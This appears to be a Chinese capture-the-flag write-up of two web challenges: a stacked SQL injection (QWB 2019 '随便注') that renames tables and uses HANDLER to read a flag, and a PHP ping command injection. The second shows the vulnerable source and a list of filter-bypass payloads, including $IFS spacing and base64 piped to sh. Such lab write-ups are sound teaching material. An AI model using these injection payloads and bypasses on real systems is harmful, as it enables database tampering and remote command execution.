强网杯2019随便注

这道题目我们进行常规的一些尝试发现时是'闭合的注入接下来就是一些常规的操作,但是当我们输入select是发现select杯过滤了,而且是使用正则表达式,忽略大小写的过滤。发现怎么也绕不过,这时候我们就可以尝试使用堆叠注入,堆叠注入的原理在sqli-labs中也大致学过了只是学的很浅,我们可以先使用堆叠注入来查看该数据库的内容。
1.show tables爆表名。
表名为words和一串数字。
2.show columns from words;show columns from `1919810931114514`
words的内容为

这时候我们不妨猜测words的id就是我们在搜索框输入的1,words的data就是我们搜索到的内容
1919810931114514的内容

我们查到flag在1919810931114514里,但是一个问题就是select被禁了我们该怎么查询这个表,这时候我们可以利用网页自带的查询,我们可以猜测一下查询语句为select data from words where id='$inject'这时候我们只需要使用堆叠注入将words随便改个名字,将1919810931114514改为words,然后再将flag改为data,给被改为words的1919810931114514里加一个会自增的id,这时候我们再搜索框输入1时输出的其实时flag再第一行的内容。
注意我们需要将使用语句写成一行因为如果先将words进行改名,那么后端的查询语句会因为无法查询到words而无法运行

1
1';rename table words to a;rename table `1919810931114514` to words;alter table words change flag data varchar(100);alter table words add id int unsigned not Null auto_increment primary key--+


得到flag

法二使用16进制进行绕过

法三使用handler进行查询

语法

1
2
handler table_name open;handler table_name read first;handler table_name close;#首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
handler table_name open;handler table_name read next;handler table_name close;#首先打开数据库,开始循环读取,读取成功后进行关闭操作。

使用handler进行查询进行读取flag所在的表的内容。

1
2
handler 1919810931114514 open;handler 1919810931114514 read first;handler 1919810931114514 close;#首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
handler 1919810931114514 open;handler 1919810931114514 read next;handler 1919810931114514 close;

pingpingping

该题我们输入?ip=|ls发现flag.php和index.php
我们使用?ip=|cat flag.php
发现无法输入空格
我们可以使用

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1
<
<>
{cat,flag.php}
%20
%09

来绕过空格
输入?ip=|cat$IFS$1flag.php发现连flag也被过滤
我们先打开index.php
发现代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

可以发现其过滤了很多。我们有以下几种方法来进行。

1.内敛绕过

1
?ip=|cat$IFS$1`ls`

2.我们可以看到代码中存在变量a我们可以以如下方法绕过

1
?ip=1;a=g;cat$IFS$1fla$a.php;

使用sh来绕过

bash和sh都可以这样子运行由于其绕过了bash所以我们可以使用sh

1
?ip=1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

1
2
3
4
5
6
7
8
9
10
11
cat fl*  用*匹配任意 
ca\t fla\g.php 反斜线绕过
cat fl''ag.php 两个单引号绕过
echo Y2F0IGZsYWcucGhw | base64 -d | bash(sh)
//base64编码绕过 管道符(|)会把前一个命令的输出作为后一个命令的参数
echo 63617420666c61672e706870 | xxd -r -p | bash(sh)
// hex编码绕过,原理同上
cat fl[a]g.php 用[]匹配
a=fl;b=ag;cat $a$b 变量替换
cp fla{g.php,G} 把flag.php复制为flaG
ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的